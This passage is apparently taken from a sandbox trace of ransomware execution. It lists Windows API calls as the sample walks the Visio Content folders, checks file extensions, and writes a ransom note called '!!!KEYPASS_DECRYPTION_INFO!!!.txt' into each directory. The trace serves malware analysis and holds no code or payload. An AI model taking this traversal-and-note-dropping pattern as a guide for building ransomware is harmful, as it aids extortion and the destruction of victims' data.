lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.884] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.884] FindNextFileW (in: hFindFile=0x4e2a488, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.884] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0264.885] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.885] GetLastError () returned 0x3f0 [0264.885] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.885] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0265.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbb4 [0265.572] GetFileType (hFile=0xbb4) returned 0x1 [0265.572] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0265.572] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0265.572] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0265.572] WriteFile (in: hFile=0xbb4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0265.573] WriteFile (in: hFile=0xbb4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0265.573] CloseHandle (hObject=0xbb4) returned 1 [0265.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2a648 [0265.573] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.577] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTDIR_M.VSTX") returned=".VSTX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTDIR_U.VSTX") returned=".VSTX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTUAL_FINISHDATES_GANTTCHART_M.VSTX") returned=".VSTX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTUAL_FINISHDATES_GANTTCHART_U.VSTX") returned=".VSTX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADO_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADO_U.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADS_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADS_U.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ALARM_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ALARM_U.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANALYTICS_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANALYTICS_U.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANIMALS_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANIMALS_U.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.578] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANNOT_M.VSSX") returned=".VSSX" [0265.578] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ANNOT_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPAREL_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPAREL_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_VISIO2013_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\APPL_VISIO2013_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS2_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS2_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARROWS_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARTS_M.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ARTS_U.VSSX") returned=".VSSX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.579] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ASSOCIATIONS_UML_CLASS_M.VSTX") returned=".VSTX" [0265.579] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ASSOCIATIONS_UML_CLASS_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_DATAVISUALIZERPROCESSMAP.XLTX") returned=".XLTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_DATAVISUALIZER_M.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_DATAVISUALIZER_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_M.VSSX") returned=".VSSX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_M.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SEVERAL_OUTCOMES_M.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SEVERAL_OUTCOMES_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SUBPROCESS_M.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SUBPROCESS_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_U.VSSX") returned=".VSSX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_M.VSSX") returned=".VSSX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_M.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_U.VSSX") returned=".VSSX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.593] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASFLO_U.VSTX") returned=".VSTX" [0265.593] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICCIRCUIT_DIAGRAM_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICCIRCUIT_DIAGRAM_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICD_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICD_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICELECTRICAL_DIAGRAM_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASICELECTRICAL_DIAGRAM_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_AUDITDIAGRAM_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_AUDITDIAGRAM_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_GANTTCHART_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_GANTTCHART_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_HOME_NETWORK_M.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_HOME_NETWORK_U.VSTX") returned=".VSTX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.594] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_M.VSSX") returned=".VSSX" [0265.594] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_U.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_UMLSEQUENCE_M.VSTX") returned=".VSTX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BASIC_UMLSEQUENCE_U.VSTX") returned=".VSTX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_DEC_M.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_DEC_U.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_GRP_M.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BA_GRP_U.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BCKGRN_M.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BCKGRN_U.VSSX") returned=".VSSX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BELTORGCHART_M.VSTX") returned=".VSTX" [0265.695] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BELTORGCHART_U.VSTX") returned=".VSTX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BF_DATAVISUALIZERPROCESSMAP.XLTX") returned=".XLTX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BF_DATAVISUALIZER_M.VSTX") returned=".VSTX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BF_DATAVISUALIZER_U.VSTX") returned=".VSTX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_M.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_U.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_M.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.DWG") returned=".DWG" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDGPLAN.JPG") returned=".JPG" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK3_M.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCK3_U.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_M.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_M.VSTX") returned=".VSTX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_U.VSSX") returned=".VSSX" [0265.696] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLOCKP_U.VSTX") returned=".VSTX" [0265.697] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.697] PathFindExtensionW (pszPath="C:\\Program 